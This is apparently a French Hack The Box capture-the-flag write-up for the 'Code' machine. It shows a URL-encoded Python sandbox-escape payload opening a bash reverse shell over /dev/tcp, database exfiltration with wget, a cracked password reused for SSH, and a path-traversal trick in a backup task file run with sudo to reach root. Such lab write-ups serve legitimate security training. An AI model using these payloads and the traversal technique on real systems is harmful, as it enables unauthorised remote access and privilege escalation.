Bannière Code

HTB - Code

Reconnaissance initiale

Un service Python gunicorn tourne sur le port 5000. En y accédant, on découvre un interpréteur Python filtrant certaines chaînes. En analysant la technologie utilisée, on identifie Ace 1.4.12, une version vulnérable permettant l’exécution de code arbitraire (RCE).

Exploitation RCE

Depuis un forum, on récupère un payload encodé :

module%20%3d%20globals()%5b'o'%2b's'%5d%0acommand%20%3d%20getattr(module%2c%20'sy'%2b'stem')%0acommand('bash%20-c%20%22bash%20-i%20%3e%26%20%2fdev%2ftcp%2f[ip]%2f9001%200%3e%261%22')
    

Intercepter la requête du bouton "Run" dans Burp Suite, remplacer la variable code par ce payload, et lancer un nc -lvnp 9001 en écoute. Une fois la connexion établie, on obtient le flag utilisateur.

Extraction de la base de données

On découvre une base dans /home/app-production/app/instance/database.db. Sur la machine cible :

python3 -m http.server

Sur notre machine :

wget http://IP:8000/database.db

On ouvre la base avec SQLite Browser. Dans la table users, on trouve deux utilisateurs : development et martin. Le hash de martin est en MD5 :

martin : nafeelswordsmaster

Connexion SSH & Privesc

Connexion SSH :

ssh martin@IP

Mot de passe : nafeelswordsmaster

On crée un fichier task.json :

cat > /home/martin/backups/task.json << EOF
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/var/....//root/"
  ]
}
EOF
    

Puis on exécute :

sudo /usr/bin/backy.sh /home/martin/backups/task.json

Récupération du flag root

ls -l
wget http://IP:PORT/code_var_.._root_2025_March.tar.bz2
tar -xvjf code_home_martinbackups*.tar.bz2
cat root/root.txt
    

Captures d’écran

Description
Accueil Retour

Remerciements

Thanks, Artemis Community 🛡️